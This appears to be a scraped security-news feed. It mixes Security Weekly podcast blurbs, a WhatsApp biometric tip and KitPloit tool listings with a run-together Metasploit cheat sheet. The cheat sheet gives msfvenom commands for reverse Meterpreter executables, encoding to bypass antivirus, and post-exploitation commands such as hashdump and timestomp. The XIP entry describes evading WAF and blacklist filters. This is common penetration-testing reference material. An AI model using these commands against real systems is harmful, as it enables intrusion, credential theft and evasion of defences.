PCI, Capsule8, & Polaris – Enterprise Security Weekly #128

    Capsule8 expands threat detection platform for PCI DSS, BitSight unveils peer analytics for more effective security performance management, Imperva advances autonomous application protection capabilities, and Synopsys launches Polaris Software integrity platform! Enterprise News SentinelOne : Releases Full Remote Shell Capabilities; Raises Industry Standard in Remote Endpoint Attack Query and Response New Release of CodeSonar […]
The post PCI, Capsule8, & Polaris – Enterprise Security Weekly #128 appeared first on Security Weekly.

Link: http://feedproxy.google.com/~r/securityweekly/Lviv/~3/KoQM8k_BKIY/

DNSSEC, TurboTax Hit, & DNS – Hack Naked News #209

    Google ditches passwords in latest Android devices, ICANN calls for wholesale DNSSEC deployment, Flaws in 4G and 5G allow snooping on calls, pinpointing device location, TurboTax Hit with credential stuffing attack, and much more! Security News Plain wrong: Millions of utility customers passwords stored in plain text – Startled, (the reseracher) fed the online form […]
The post DNSSEC, TurboTax Hit, & DNS – Hack Naked News #209 appeared first on Security Weekly.

Link: http://feedproxy.google.com/~r/securityweekly/Lviv/~3/ggvOAhXcw-4/

Metasploit Cheat Sheet

The Metasploit Project is a computer security project that provides information on vulnerabilities, helping in the development of penetration tests and IDS signatures.Metasploit is a popular tool used by pentest experts.Metasploit :Search for module:msf > search [regex]Specify and exploit to use:msf > use exploit/[ExploitPath]Specify a Payload to use:msf > set PAYLOAD [PayloadPath]Show options for the current modules:msf > show optionsSet options:msf > set [Option] [Value]Start exploit:msf > exploit Useful Auxiliary ModulesPort Scanner:msf > use auxiliary/scanner/portscan/tcpmsf > set RHOSTS > runDNS Enumeration:msf > use auxiliary/gather/dns_enummsf > set DOMAIN target.tgtmsf > runFTP Server:msf > use auxiliary/server/ftpmsf > set FTPROOT /tmp/ftprootmsf > runProxy Server:msf > use auxiliary/server/socks4msf > run msfvenom :The msfvenom tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files and optionally encode them. This tool replaces the former msfpayload and msfencode tools. Run with ‘’-l payloads’ to get a list of payloads.$ msfvenom –p [PayloadPath]–f [FormatType]LHOST=[LocalHost (if reverse conn.)]LPORT=[LocalPort]Example :Reverse Meterpreter payload as an executable and redirected into a file:$ msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST= > met.exeFormat Options (specified with –f) –help-formats – List available output formatsexe – Executable pl – Perl rb – Ruby raw – Raw shellcode c – C codeEncoding Payloads with msfvenomThe msfvenom tool can be used to apply a level of encoding for anti-virus bypass. Run with ‘-l encoders’ to get a list of encoders.$ msfvenom -p [Payload] -e [Encoder] -f[FormatType] -i [EncodeInterations]LHOST=[LocalHost (if reverse conn.)]LPORT=[LocalPort]ExampleEncode a payload from msfpayload 5 times using shikata-ga-nai encoder and output as executable:$ msfvenom -p windows/meterpreter/reverse_tcp -i 5 -e x86/shikata_ga_nai -fexe LHOST= LPORT=4444 > mal.exeMetasploit MeterpreterBase Commands:? / help: Display a summary of commands exit / quit: Exit the Meterpreter sessionsysinfo: Show the system name and OS typeshutdown / reboot: Self-explanatoryFile System Commands:cd: Change directorylcd: Change directory on local (attacker’s) machinepwd / getwd: Display current working directoryls: Show the contents of the directorycat: Display the contents of a file on screendownload / upload: Move files to/from the target machinemkdir / rmdir: Make / remove directoryedit: Open a file in the default editor (typically vi)Process Commands:getpid: Display the process ID that Meterpreter is running inside.getuid: Display the user ID that Meterpreter is running with.ps: Display process list.kill: Terminate a process given its process ID.execute: Run a given program with the privileges of the process the Meterpreter is loaded in.migrate: Jump to a given destination process IDTarget process must have same or lesser privileges Target process may be a more stable process When inside a process, can access any files that process has a lock on. Network Commands:ipconfig: Show network interface informationportfwd: Forward packets through TCP sessionroute: Manage/view the system’s routing tableMisc Commands:idletime: Display the duration that the GUI of thetarget machine has been idle.uictl [enable/disable] [keyboard/mouse]: Enable/disable either the mouse or keyboard of the target machine.screenshot: Save as an image a screenshot of the target machine.Additional Modules:use [module]: Load the specified moduleExample:use priv: Load the priv modulehashdump: Dump the hashes from the boxtimestomp:Alter NTFS file timestampsManaging SessionsMultiple Exploitation:Run the exploit expecting a single session that is immediately backgrounded:msf > exploit -zRun the exploit in the background expecting one or more sessions that are immediately backgrounded:msf > exploit –jList all current jobs (usually exploit listeners):msf > jobs –lKill a job:msf > jobs –k [JobID]Multiple Sessions:List all backgrounded sessions:msf > sessions -lInteract with a backgrounded session:msf > session -i [SessionID]Background the current interactive session:meterpreter > ormeterpreter > backgroundRouting Through Sessions:All modules (exploits/post/aux) against the target subnet mask will be pivoted through this session.msf > route add [Subnet to Route To][Subnet Netmask] [SessionID]Metasploit Cheat Sheet

Link: http://www.kitploit.com/2019/02/metasploit-cheat-sheet.html

SILENTRINITY Updates, BHIS – Paul’s Security Weekly #595

    Marcello Salvati, Security Analyst at our sponsor Black Hills Information Security, to give some updates on his Post Exploitation Tool SILENTRINITY! Sign up for the BHIS Mailing List to receive updates about upcoming webcasts, blogs, and open-source tools from our testers at: https://securityweekly.com/bhis Full Show Notes Follow us on Twitter: https://www.twitter.com/securityweekly Hosts   […]
The post SILENTRINITY Updates, BHIS – Paul’s Security Weekly #595 appeared first on Security Weekly.

Link: http://feedproxy.google.com/~r/securityweekly/Lviv/~3/t1cbhJVX2ac/

SOAR, Cody Cornell – Enterprise Security Weekly #127

    Cody Cornell is the CEO of Swimlane. Matt Alderman and Joff Thyer interview Cody, to discuss Security Orchestration, Automation, and Response! Full Show Notes Visit http://securityweekly.com/esw for all the latest episodes! Hosts           Announcements RSA Conference 2019 is coming up March 4 – 8 in San Francisco! Go to […]
The post SOAR, Cody Cornell – Enterprise Security Weekly #127 appeared first on Security Weekly.

Link: http://feedproxy.google.com/~r/securityweekly/Lviv/~3/r1aT1IYMaUY/

How to enable TouchID or FaceID Authentication on WhatsApp for iOS

WhatsApp has finally enabled the TouchID or FaceID Authentication support in the latest version of the app. So, you can now protect your app by biometric authentication. It will ask you to verify the Touch ID or Face ID before you access the app. If you are using WhatsApp on an iOS device, you can […]
The post How to enable TouchID or FaceID Authentication on WhatsApp for iOS appeared first on UseThisTip.

Link: http://feedproxy.google.com/~r/blogspot/csAFg/~3/_gey75BI5h0/how-to-enable-touchid-or-faceid-authentication-on-whatsapp-for-ios.html

Japan, Imperva, & DDoS – Paul’s Security Weekly #592

    In the Security News, 5 tips for access control from an ethical hacker, Japan is to hunt down Citizens insecure IoT devices, kid tracking watches allow attackers to monitor real time location data, and Imperva mitigate a DDoS attack generated 500 million packets per second! Paul’s Stories 5 Tips for Access Control Cybersecurity […]
The post Japan, Imperva, & DDoS – Paul’s Security Weekly #592 appeared first on Security Weekly.

Link: http://feedproxy.google.com/~r/securityweekly/Lviv/~3/dNpiixjXsQg/

XIP – Tool To Generate A List Of IP Addresses By Applying A Set Of Transformations Used To Bypass Security Measures E.G. Blacklist Filtering, WAF, Etc.

XIP generates a list of IP addresses by applying a set of transformations used to bypass security measures e.g. blacklist filtering, WAF, etc.Further explaination on our blog post articleUsagepython3 xip.py –helpDocker alternativeOfficial imageYou can pull the official Drupwn image from the dockerhub registry using the following command:docker pull immunit/XIPBuildTo build the container, just use this command:docker build -t xip .Docker will download the Alpine image and then execute the installation steps.Be patient, the process can be quite long the first time.RunOnce the build process is over, get and enjoy your new tool.docker run –rm -it xip –helpLoggingThe output generated is stored in the /tmp/ folder. When using docker, run your container using the following option-v YOUR_PATH_FOLDER:/tmp/Download XIP

Link: http://www.kitploit.com/2019/02/xip-tool-to-generate-list-of-ip.html

Scanner-Cli – A Project Security/Vulnerability/Risk Scanning Tool

The Hawkeye scanner-cli is a project security, vulnerability and general risk highlighting tool. It is meant to be integrated into your pre-commit hooks and your pipelines.Running and configuring the scannerThe Hawkeye scanner-cli assumes that your directory structure is such that it keeps the toolchain’s files on top level. Roughly, this is what it boils down to:Node.js projects have a package.json on top levelRuby projects will have a Gemfile on top levelPython projects will have a requirements.txt on top levelPHP projects will have a composer.lock on top levelJava projects will have a build (gradle) or target (maven) folder, and include .java and .jar filesThis is not exhaustive as sometimes tools require further files to exist. To understand how the modules decide whether they can handle a project, please check the How it works section and the modules folder.Docker (recommended)The docker image is hands-down the easiest way to the scanner. Please note that your project root (e.g. $PWD) needs to be mounted to /target.docker run –rm -v $PWD:/target hawkeyesec/scanner-cliThe docker build is also the recommended way to run the scanner in your CI pipelines. This is an example of running Hawkeye against one of your projects in GoCD:

Link: http://feedproxy.google.com/~r/PentestTools/~3/JoL8_BBnrhQ/scanner-cli-project-securityvulnerabili.html

Android, Nest, & Linux Malware – Paul’s Security Weekly #591

Cellular carriers are implementing services to identify cell scam leveraging, New Android Malware uses motion sensor to avoid detection, Linux Malware disables security software to mine cryptocurrency, and how a Hacker threatened a family using a Nest Camera to broadcast a fake missile attack alert! Paul’s Stories The 51 Things Most Homeowners Arent Doing But […]
The post Android, Nest, & Linux Malware – Paul’s Security Weekly #591 appeared first on Security Weekly.

Link: http://feedproxy.google.com/~r/securityweekly/Lviv/~3/Cr-ZonTpijY/